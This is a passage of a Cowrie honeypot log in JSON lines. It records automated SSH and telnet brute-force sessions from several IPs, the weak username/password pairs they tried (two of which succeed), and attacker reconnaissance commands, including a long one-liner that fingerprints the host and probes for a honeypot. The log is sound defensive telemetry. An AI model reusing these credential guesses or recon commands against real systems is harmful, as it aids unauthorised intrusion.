h.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:02.858569Z","src_ip":"45.156.87.253","session":"26e0c3ac1872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:03.252962Z","src_ip":"45.156.87.253","session":"26e0c3ac1872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:04.335935Z","src_ip":"45.156.87.253","session":"26e0c3ac1872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52782,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f8e189ba271","protocol":"ssh","message":"New connection: 45.156.87.253:52782 (10.17.0.5:22) [session: 2f8e189ba271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:06.323598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:06.327450Z","src_ip":"45.156.87.253","session":"2f8e189ba271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:06.408202Z","src_ip":"45.156.87.253","session":"2f8e189ba271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:06.651935Z","src_ip":"45.156.87.253","session":"2f8e189ba271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:07.743436Z","src_ip":"45.156.87.253","session":"2f8e189ba271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34186,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1a604d58a04","protocol":"ssh","message":"New connection: 45.156.87.253:34186 (10.17.0.5:22) [session: c1a604d58a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:09.543895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:09.547426Z","src_ip":"45.156.87.253","session":"c1a604d58a04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:09.628256Z","src_ip":"45.156.87.253","session":"c1a604d58a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":56026,"dst_ip":"10.17.0.5","dst_port":23,"session":"e740cc43f033","protocol":"telnet","message":"New connection: 72.167.226.244:56026 (10.17.0.5:23) [session: e740cc43f033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:09.996764Z"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:10.058803Z","src_ip":"45.156.87.253","session":"c1a604d58a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:11.143520Z","src_ip":"45.156.87.253","session":"c1a604d58a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34188,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d321080ffc","protocol":"ssh","message":"New connection: 45.156.87.253:34188 (10.17.0.5:22) [session: 02d321080ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.017829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.021223Z","src_ip":"45.156.87.253","session":"02d321080ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.101952Z","src_ip":"45.156.87.253","session":"02d321080ffc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.346092Z","src_ip":"45.156.87.253","session":"02d321080ffc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.549934Z","src_ip":"45.156.87.253","session":"02d321080ffc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.551583Z","src_ip":"45.156.87.253","session":"02d321080ffc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.635160Z","src_ip":"45.156.87.253","session":"02d321080ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.640035Z","src_ip":"45.156.87.253","session":"02d321080ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":51570,"dst_ip":"10.17.0.5","dst_port":22,"session":"faed0b53cb29","protocol":"ssh","message":"New connection: 91.92.40.11:51570 (10.17.0.5:22) [session: faed0b53cb29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.832085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.885308Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:13.939636Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:14.731468Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.016731Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.018963Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.021924Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.024587Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.027192Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.030700Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.032904Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.035020Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.037995Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.041495Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.044872Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.157875Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:15.263337Z","src_ip":"91.92.40.11","session":"faed0b53cb29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34202,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4512f75ee2","protocol":"ssh","message":"New connection: 45.156.87.253:34202 (10.17.0.5:22) [session: dc4512f75ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:16.317837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:16.321577Z","src_ip":"45.156.87.253","session":"dc4512f75ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:16.401880Z","src_ip":"45.156.87.253","session":"dc4512f75ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:51:16.644474Z","src_ip":"45.156.87.253","session":"dc4512f75ee2","protocol":"ssh"}
